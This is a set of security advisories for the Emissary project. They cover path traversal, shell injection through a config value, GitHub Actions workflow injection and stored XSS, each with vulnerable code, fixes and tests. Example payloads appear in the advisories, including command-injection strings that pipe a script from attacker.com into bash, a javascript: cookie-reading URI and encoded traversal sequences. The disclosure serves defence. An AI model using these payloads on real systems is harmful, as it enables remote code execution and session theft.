Summary
The configuration API endpoint (/api/configuration/{name}) validated configuration names using a blacklist approach that checked for \, /, .., and trailing .. This could potentially be bypassed using URL-encoded variants, double-encoding, or Unicode normalization to achieve path traversal and read configuration files outside the intended directory.
Details
Vulnerable code — Configs.java (line 126)
java protected static String validate(String config) { if (StringUtils.isBlank(config) || config.contains("\\") || config.contains("/") || config.contains("..") || config.endsWith(".")) { throw new IllegalArgumentException("Invalid config name: " + config); } return Strings.CS.appendIfMissing(config.trim(), CONFIGFILEENDING); }
Weakness
The blacklist blocked literal \, /, .., and trailing . but could potentially miss:
- URL-encoded variants (%2e%2e%2f) if decoded after validation - Double-encoded sequences (%252e%252e%252f) - Unicode normalization bypasses - The approach relies on string matching rather than canonical path resolution
Impact
- Potential read access to configuration files outside the intended config directory - Information disclosure of sensitive configuration values
Remediation
Fixed in PR #1292, merged into release 8.39.0.
The blacklist was replaced with an allowlist regex that only permits characters matching ^[a-zA-Z0-9.-]+$:
java protected static final Pattern VALIDCONFIGNAME = Pattern.compile("^[a-zA-Z0-9.-]+$");
protected static String validate(String config) { if (!VALIDCONFIGNAME.matcher(config).matches() || config.contains("..") || config.endsWith(".")) { throw new IllegalArgumentException("Invalid config name: " + config); } return Strings.CS.appendIfMissing(config.trim(), CONFIGFILEENDING); }
This ensures that any character outside the allowed set — including encoded slashes, percent signs, and Unicode sequences — is rejected before the config name reaches the filesystem.
Tests were added to verify that URL-encoded (%2e%2e%2f), double-encoded (%252e%252e%252f), and Unicode (U+002F) traversal attempts are blocked.
Workarounds
If upgrading is not immediately possible, deploy a reverse proxy or WAF rule that rejects requests to /api/configuration/ containing encoded path traversal sequences.
References
- PR #1292 — validate config name with an allowlist - Original report: GHSA-wjqm-p579-x3ww
Summary
The Executrix utility class constructed shell commands by concatenating configuration-derived values — including the PLACENAME parameter — with insufficient sanitization. Only spaces were replaced with underscores, allowing shell metacharacters (;, |, $, , (, ), etc.) to pass through into /bin/sh -c command execution.
Details
Vulnerable code — Executrix.java
Insufficient sanitization (line 132): java this.placeName = this.placeName.replace(' ', ''); // ONLY replaces spaces — shell metacharacters pass through
Shell sink (line 1052–1058): java protected String[] getTimedCommand(final String c) { return new String[] {"/bin/sh", "-c", "ulimit -c 0; cd " + tmpNames[DIR] + "; " + c}; }
Data flow
1. PLACENAME is read from a configuration file 2. Executrix applies only a space-to-underscore replacement 3. The placeName is used to construct temporary directory paths (tmpNames[DIR]) 4. tmpNames[DIR] is concatenated into a shell command string 5. The command is executed via /bin/sh -c
Example payload
PLACENAME = "test;curl attacker.com/shell.sh|bash;x"
After the original sanitization: test;curlattacker.com/shell.sh|bash;x (semicolons, pipes, and other metacharacters preserved)
Impact
- Arbitrary command execution on the Emissary host - Requires the ability to control configuration values (e.g., administrative access or a compromised configuration source)
Remediation
Fixed in PR #1290, merged into release 8.39.0.
The space-only replacement was replaced with an allowlist regex that strips all characters not matching [a-zA-Z0-9-]:
java protected static final Pattern INVALIDPLACENAMECHARS = Pattern.compile("[^a-zA-Z0-9-]");
protected static String cleanPlaceName(final String placeName) { return INVALIDPLACENAMECHARS.matcher(placeName).replaceAll(""); }
This ensures that any shell metacharacter in the PLACENAME configuration value is replaced with an underscore before it can reach a command string.
Tests were added to verify that parentheses, slashes, dots, hash, dollar signs, backslashes, quotes, semicolons, carets, and at-signs are all sanitized.
Workarounds
If upgrading is not immediately possible, ensure that PLACENAME values in all configuration files contain only alphanumeric characters, underscores, and hyphens.
References
- PR #1290 — validate placename with an allowlist - Original report: GHSA-wjqm-p579-x3ww
Summary
Three GitHub Actions workflow files contained 10 shell injection points where user-controlled workflowdispatch inputs were interpolated directly into shell commands via ${{ }} expression syntax. An attacker with repository write access could inject arbitrary shell commands, leading to repository poisoning and supply chain compromise affecting all downstream users.
Affected Files
| Workflow file | Injection points | |------------------------------------------|------------------| | .github/workflows/maven-version.yml | 4 | | .github/workflows/cherrypick.yml | 5 | | .github/workflows/maven-release.yml | 1 |
Details
GitHub Actions ${{ }} expressions inside run: blocks are substituted before the shell interprets the command. When a workflowdispatch input is placed directly in a run: block, an attacker who can trigger the workflow can break out of the intended command and execute arbitrary code.
Example — maven-version.yml (before fix)
yaml - name: Set the name of the branch run: echo "PRBRANCH=action/${{ github.event.inputs.nextversion }}" >> "$GITHUBENV"
A malicious input such as 1.0.0"; curl attacker.com/backdoor.sh | bash; echo " would be interpolated directly into the shell, executing arbitrary commands with the job's GITHUBTOKEN permissions (contents: write, pull-requests: write).
Impact
- Arbitrary code execution within the CI/CD runner - Repository modification via the contents: write token (push malicious commits) - Supply chain poisoning — downstream users who clone or build receive compromised code - Credential exfiltration from the GitHub Actions environment
Remediation
Fixed in two PRs merged into release 8.39.0:
PR #1286 — Environment variable indirection
Replaced all direct ${{ inputs. }} interpolation in run: blocks with environment variable indirection. Inputs are assigned to env: at the step level, then referenced as shell variables inside run:.
yaml After (safe — input is never interpreted by the shell parser) - name: Set the name of the branch run: echo "PRBRANCH=action/$INNEXTVERSION" >> "$GITHUBENV" env: INNEXTVERSION: ${{ github.event.inputs.nextversion }}
PR #1288 — Input validation
Added strict regex validation steps that run before any input is used:
- maven-version.yml: Validates nextversion matches ^[a-zA-Z0-9.-]+$ - maven-release.yml: Validates releasesuffix matches ^[a-zA-Z0-9.-]+$ - cherrypick.yml: Validates commits matches ^([0-9a-f]{7,40})(\s+[0-9a-f]{7,40})$
All jobs now also use shell: bash via defaults.run.shell to ensure consistent shell behavior.
Workarounds
There is no workaround other than upgrading. Organizations that have forked Emissary should apply the same environment variable indirection and input validation patterns to their workflow files.
References
- PR #1286 — environment variable indirection - PR #1288 — input validation - GitHub Security Lab: Keeping your GitHub Actions and workflows secure - Original report: GHSA-wjqm-p579-x3ww
Summary
Mustache navigation templates interpolated configuration-controlled link values directly into href attributes without URL scheme validation. An administrator who could modify the navItems configuration could inject javascript: URIs, enabling stored cross-site scripting (XSS) against other authenticated users viewing the Emissary web interface.
Details
Vulnerable code — nav.mustache (line 10)
html {{#navItems}} <li class="nav-item"> <a class="nav-link" href="{{link}}">{{display}}</a> </li> {{/navItems}}
The {{link}} value was rendered without any scheme validation. Mustache's default HTML escaping protects against injection of new HTML tags but does not prevent javascript: URIs in href attributes, since javascript: contains no characters that HTML-escaping would alter.
Attack vector
An administrator sets a navigation item's link to: javascript:alert(document.cookie)
Any authenticated user who clicks the navigation link executes the script in their browser context.
Impact
- Session hijacking via cookie theft - Actions performed on behalf of the victim user - Requires administrative access to modify navigation configuration - Requires user interaction (clicking the malicious link)
Mitigating factors
- Exploitation requires administrative access to modify the navItems configuration - User interaction (clicking the link) is required - The Emissary web interface is typically accessed only by authenticated operators within a trusted network
Remediation
Fixed in PR #1293, merged into release 8.39.0.
Server-side link validation — NavAction.java
An allowlist regex was added that only permits http://, https://, or site-relative (/) URLs:
java private static final Pattern VALIDLINK = Pattern.compile("^(https?:/)?/.");
private static boolean isValidLink(String link) { if (!VALIDLINK.matcher(link).matches()) { logger.warn("Skipping invalid navigation link '{}'", link); return false; } return true; }
Invalid links are logged and silently dropped from the rendered navigation.
Template hardening — nav.mustache
Added rel="noopener noreferrer" to all navigation link anchor tags as a defense-in-depth measure:
html <a class="nav-link" href="{{link}}" rel="noopener noreferrer">{{display}}</a>
Tests were added to verify that javascript: and ftp:// URIs are rejected while http://, https://, and site-relative (/path) links are accepted.
Workarounds
If upgrading is not immediately possible, audit the navigation configuration to ensure all navItems link values use only http://, https://, or relative (/) URL schemes.
References
- PR #1293 — validate nav links - Original report: GHSA-wjqm-p579-x3ww